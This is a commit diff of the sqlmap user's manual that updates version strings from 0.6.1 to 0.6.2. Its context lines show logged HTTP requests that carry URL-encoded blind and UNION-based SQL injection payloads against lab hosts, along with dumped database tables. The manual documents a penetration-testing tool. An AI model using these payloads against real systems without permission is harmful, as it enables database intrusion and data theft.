88< H1 > sqlmap user's manual</ H1 >
99
1010< H2 > by
11- < A HREF ="
mailto:[email protected] "
> Bernardo Damele A. G.
</ A > </ H2 > version 0.6.
1, 20th of
October 2008
11+ < A HREF ="
mailto:[email protected] "
> Bernardo Damele A. G.
</ A > </ H2 > version 0.6.
2, 2nd of
November 2008
1212< HR >
1313< EM > This document is the user's manual to use
1414< A HREF ="http://sqlmap.sourceforge.net "> sqlmap</ A > .
@@ -295,19 +295,19 @@ <H2><A NAME="s3">3.</A> <A HREF="#toc3">Download and update</A></H2>
295295< P >
296296< UL >
297297< LI >
298- < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1 .tar.gz "> Source gzip compressed</ A > operating system independent.</ LI >
298+ < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.2 .tar.gz "> Source gzip compressed</ A > operating system independent.</ LI >
299299< LI >
300- < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1 .tar.bz2 "> Source bzip2 compressed</ A > operating system independent.</ LI >
300+ < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.2 .tar.bz2 "> Source bzip2 compressed</ A > operating system independent.</ LI >
301301< LI >
302- < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1 .zip "> Source zip compressed</ A > operating system independent.</ LI >
302+ < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.2 .zip "> Source zip compressed</ A > operating system independent.</ LI >
303303< LI >
304- < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap_0.6.1 -1_all.deb "> DEB binary package</ A > architecture independent for Debian and any
304+ < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap_0.6.2 -1_all.deb "> DEB binary package</ A > architecture independent for Debian and any
305305other Debian derivated GNU/Linux distribution.</ LI >
306306< LI >
307- < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1 -1.noarch.rpm "> RPM binary package</ A > architecture independent for Fedora and any
307+ < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.2 -1.noarch.rpm "> RPM binary package</ A > architecture independent for Fedora and any
308308other operating system that can install RPM packages.</ LI >
309309< LI >
310- < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1_exe .zip "> Portable executable for Windows</ A > that < B > does not require the Python
310+ < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.2_exe .zip "> Portable executable for Windows</ A > that < B > does not require the Python
311311interpreter</ B > to be installed on the operating system.</ LI >
312312</ UL >
313313</ P >
@@ -334,7 +334,7 @@ <H2><A NAME="s5">5.</A> <A HREF="#toc5">Usage</A></H2>
334334< PRE >
335335$ python sqlmap.py -h
336336
337- sqlmap/0.6.
1 coded by Bernardo Damele A. G. <
[email protected] > 337+ sqlmap/0.6.
2 coded by Bernardo Damele A. G. <
[email protected] > 338338 and Daniele Bellucci <
[email protected] > 339339
340340Usage: sqlmap.py [options] {-u <URL> | -g <google dork> | -c <config file> }
@@ -535,7 +535,7 @@ <H3>Target URL and verbosity</H3>
535535[hh:mm:28] [TRAFFIC OUT] HTTP request:
536536GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
537537Host: 192.168.1.121:80
538- User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
538+ User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
539539Connection: close
540540[...]
541541[hh:mm:29] [INFO] testing MySQL
@@ -544,7 +544,7 @@ <H3>Target URL and verbosity</H3>
544544GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20
545545CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%207994=7994&cat=2 HTTP/1.1
546546Host: 192.168.1.121:80
547- User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
547+ User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
548548Connection: close
549549[...]
550550</ PRE >
@@ -562,7 +562,7 @@ <H3>Target URL and verbosity</H3>
562562[hh:mm:32] [TRAFFIC OUT] HTTP request:
563563GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
564564Host: 192.168.1.121:80
565- User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
565+ User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
566566Connection: close
567567
568568[hh:mm:32] [TRAFFIC IN] HTTP response (OK - 200):
@@ -580,7 +580,7 @@ <H3>Target URL and verbosity</H3>
580580GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20
581581CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%204435=4435&cat=2 HTTP/1.1
582582Host: 192.168.1.121:80
583- User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
583+ User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
584584Connection: close
585585
586586[hh:mm:33] [TRAFFIC IN] HTTP response (OK - 200):
@@ -607,7 +607,7 @@ <H3>Target URL and verbosity</H3>
607607[hh:mm:23] [TRAFFIC OUT] HTTP request:
608608GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
609609Host: 192.168.1.121:80
610- User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
610+ User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
611611Connection: close
612612
613613[hh:mm:23] [TRAFFIC IN] HTTP response (OK - 200):
@@ -632,7 +632,7 @@ <H3>Target URL and verbosity</H3>
632632GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2851%29%2C%20
633633CHAR%2851%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%201855=1855&cat=2 HTTP/1.1
634634Host: 192.168.1.121:80
635- User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
635+ User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
636636Connection: close
637637
638638[hh:mm:24] [TRAFFIC IN] HTTP response (OK - 200):
@@ -749,7 +749,7 @@ <H3>Testable parameter(s)</H3>
749749< BLOCKQUOTE > < CODE >
750750< PRE >
751751$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 \
752- -p user-agent --user-agent "sqlmap/0.6.1 (http://sqlmap.sourceforge.net)"
752+ -p user-agent --user-agent "sqlmap/0.6.2 (http://sqlmap.sourceforge.net)"
753753
754754[hh:mm:40] [WARNING] the testable parameter 'user-agent' you provided is not into the GET
755755[hh:mm:40] [INFO] testing connection to the target url
@@ -895,7 +895,7 @@ <H3>HTTP <CODE>Cookie</CODE> header</H3>
895895[hh:mm:39] [TRAFFIC OUT] HTTP request:
896896GET /sqlmap/get_str.asp?name=luther HTTP/1.1
897897Host: 192.168.1.125:80
898- User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
898+ User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
899899Cookie: ASPSESSIONIDSABTRCAS=HPCBGONANJBGFJFHGOKDMCGJ
900900Connection: close
901901
@@ -907,7 +907,7 @@ <H3>HTTP <CODE>Cookie</CODE> header</H3>
907907GET /sqlmap/get_str.asp?name=luther HTTP/1.1
908908Host: 192.168.1.125:80
909909Cookie: ASPSESSIONIDSABTRCAS=469
910- User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
910+ User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
911911Connection: close
912912
913913[hh:mm:40] [WARNING] Cookie parameter 'ASPSESSIONIDSABTRCAS' is not dynamic
@@ -955,7 +955,7 @@ <H3>HTTP <CODE>Referer</CODE> header</H3>
955955GET /sqlmap/pgsql/get_int.php?id=1&cat=2 HTTP/1.1
956956Host: 192.168.1.121:80
957957Referer: http://www.google.com
958- User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
958+ User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
959959Connection: close
960960[...]
961961</ PRE >
@@ -972,7 +972,7 @@ <H3>HTTP <CODE>User-Agent</CODE> header</H3>
972972< P >
973973< BLOCKQUOTE > < CODE >
974974< PRE >
975- sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
975+ sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
976976</ PRE >
977977</ CODE > </ BLOCKQUOTE >
978978</ P >
@@ -1058,7 +1058,7 @@ <H3>HTTP <CODE>Basic</CODE> and <CODE>Digest</CODE> authentications</H3>
10581058GET /sqlmap/mysql/basic/get_int.php?id=1&cat=2 HTTP/1.1
10591059Host: 192.168.1.121:80
10601060Authorization: Basic dGVzdHVzZXI6dGVzdHBhc3M=
1061- User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
1061+ User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
10621062Connection: close
10631063[...]
10641064
@@ -1075,7 +1075,7 @@ <H3>HTTP <CODE>Basic</CODE> and <CODE>Digest</CODE> authentications</H3>
10751075uri="/sqlmap/mysql/digest/get_int.php?id=1&cat=2",
10761076response="e1bf3738b4bbe04e197a12fb134e13a2", algorithm="MD5", qop=auth, nc=00000001,
10771077cnonce="df1c0902c931b640"
1078- User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
1078+ User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
10791079Connection: close
10801080[...]
10811081</ PRE >
@@ -1200,7 +1200,7 @@ <H3>String match</H3>
12001200[hh:mm:50] [TRAFFIC OUT] HTTP request:
12011201GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1
12021202Host: 192.168.1.121:80
1203- User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
1203+ User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
12041204Connection: close
12051205
12061206[hh:mm:50] [TRAFFIC IN] HTTP response (OK - 200):
@@ -1222,7 +1222,7 @@ <H3>String match</H3>
12221222[hh:mm:51] [TRAFFIC OUT] HTTP request:
12231223GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1
12241224Host: 192.168.1.121:80
1225- User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
1225+ User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
12261226Connection: close
12271227
12281228[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
@@ -1244,7 +1244,7 @@ <H3>String match</H3>
12441244[hh:mm:51] [TRAFFIC OUT] HTTP request:
12451245GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1
12461246Host: 192.168.1.121:80
1247- User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
1247+ User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
12481248Connection: close
12491249
12501250[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
@@ -1556,9 +1556,9 @@ <H3>Extensive database management system fingerprint</H3>
15561556[hh:mm:03] [INFO] performed 13 queries in 0 seconds
15571557[hh:mm:03] [INFO] query: @@VERSION
15581558[hh:mm:03] [INFO] retrieved: Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
1559- Aug 6 2000 00:57:48
1560- Copyright (c) 1988-2000 Microsoft Corporation
1561- Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
1559+ Aug 6 2000 00:57:48
1560+ Copyright (c) 1988-2000 Microsoft Corporation
1561+ Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
15621562
15631563[hh:mm:08] [INFO] performed 1308 queries in 4 seconds
15641564back-end DBMS: active fingerprint: Microsoft SQL Server 2000
@@ -2072,7 +2072,7 @@ <H3>Dump database tables entries</H3>
20722072| 1 | luther | blissett |
20732073| 2 | fluffy | bunny |
20742074| 3 | wu | ming |
2075- | 4 | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header |
2075+ | 4 | sqlmap/0.6.2 (http://sqlmap.sourceforge.net) | user agent header |
20762076| 5 | NULL | nameisnull |
20772077+----+----------------------------------------------+-------------------+
20782078</ PRE >
@@ -2126,7 +2126,7 @@ <H3>Dump database tables entries</H3>
21262126| 1 | luther | blissett |
21272127| 2 | fluffy | bunny |
21282128| 3 | wu | ming |
2129- | 4 | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header |
2129+ | 4 | sqlmap/0.6.2 (http://sqlmap.sourceforge.net) | user agent header |
21302130| 5 | | nameisnull |
21312131+----+----------------------------------------------+-------------------+
21322132
@@ -2140,7 +2140,7 @@ <H3>Dump database tables entries</H3>
21402140"1","luther","blissett"
21412141"2","fluffy","bunny"
21422142"3","wu","ming"
2143- "4","sqlmap/0.6.1 (http://sqlmap.sourceforge.net)","user agent header"
2143+ "4","sqlmap/0.6.2 (http://sqlmap.sourceforge.net)","user agent header"
21442144"5","","nameisnull"
21452145</ PRE >
21462146</ CODE > </ BLOCKQUOTE >
@@ -2170,7 +2170,7 @@ <H3>Dump database tables entries</H3>
21702170+----+----------------------------------------------+-------------------+
21712171| 2 | fluffy | bunny |
21722172| 3 | wu | ming |
2173- | 4 | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header |
2173+ | 4 | sqlmap/0.6.2 (http://sqlmap.sourceforge.net) | user agent header |
21742174+----+----------------------------------------------+-------------------+
21752175</ PRE >
21762176</ CODE > </ BLOCKQUOTE >
@@ -2201,7 +2201,7 @@ <H3>Dump all databases tables entries</H3>
22012201| 1 | luther | blissett |
22022202| 2 | fluffy | bunny |
22032203| 3 | wu | ming |
2204- | 4 | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header |
2204+ | 4 | sqlmap/0.6.2 (http://sqlmap.sourceforge.net) | user agent header |
22052205| 5 | NULL | nameisnull |
22062206+----+----------------------------------------------+-------------------+
22072207
@@ -2291,7 +2291,7 @@ <H3>Dump all databases tables entries</H3>
22912291+----+----------------------------------------------+-------------------+
22922292| id | name | surname |
22932293+----+----------------------------------------------+-------------------+
2294- | 4 | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header |
2294+ | 4 | sqlmap/0.6.2 (http://sqlmap.sourceforge.net) | user agent header |
22952295| 2 | fluffy | bunny |
22962296| 1 | luther | blisset |
22972297| 3 | wu | ming |
@@ -2824,9 +2824,9 @@ <H3>Use the UNION SELECT query SQL injection</H3>
28242824banner:
28252825---
28262826Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
2827- Aug 6 2000 00:57:48
2828- Copyright (c) 1988-2000 Microsoft Corporation
2829- Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
2827+ Aug 6 2000 00:57:48
2828+ Copyright (c) 1988-2000 Microsoft Corporation
2829+ Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
28302830---
28312831</ PRE >
28322832</ CODE > </ BLOCKQUOTE >
@@ -2854,7 +2854,7 @@ <H3>Use the UNION SELECT query SQL injection</H3>
28542854%2C%20CHAR%2832%29%29%2CCHAR%28122%2C110%2C105%2C89%2C121%2C65%29%29%2C%20NULL--%20AND%2
2855285506043=6043&cat=2 HTTP/1.1
28562856Host: 192.168.1.121:80
2857- User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
2857+ User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
28582858Connection: close
28592859
28602860[hh:mm:25] [TRAFFIC IN] HTTP response (OK - 200):
@@ -2996,7 +2996,7 @@ <H3>Update sqlmap to the latest stable version</H3>
29962996[hh:mm:55] [TRAFFIC OUT] HTTP request:
29972997GET /doc/VERSION HTTP/1.1
29982998Host: sqlmap.sourceforge.net
2999- User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
2999+ User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
30003000Connection: close
30013001
30023002[hh:mm:55] [TRAFFIC IN] HTTP response (OK - 200):
@@ -3015,7 +3015,7 @@ <H3>Update sqlmap to the latest stable version</H3>
30153015[hh:mm:56] [TRAFFIC OUT] HTTP request:
30163016GET /FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx HTTP/1.1
30173017Host: www.sqlsecurity.com
3018- User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
3018+ User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
30193019Cookie: .ASPXANONYMOUS=dvus03cqyQEkAAAANDI0M2QzZmUtOGRkOS00ZDQxLThhMTUtN2ExMWJiNWVjN2My0;
30203020language=en-US
30213021Connection: close
0 commit comments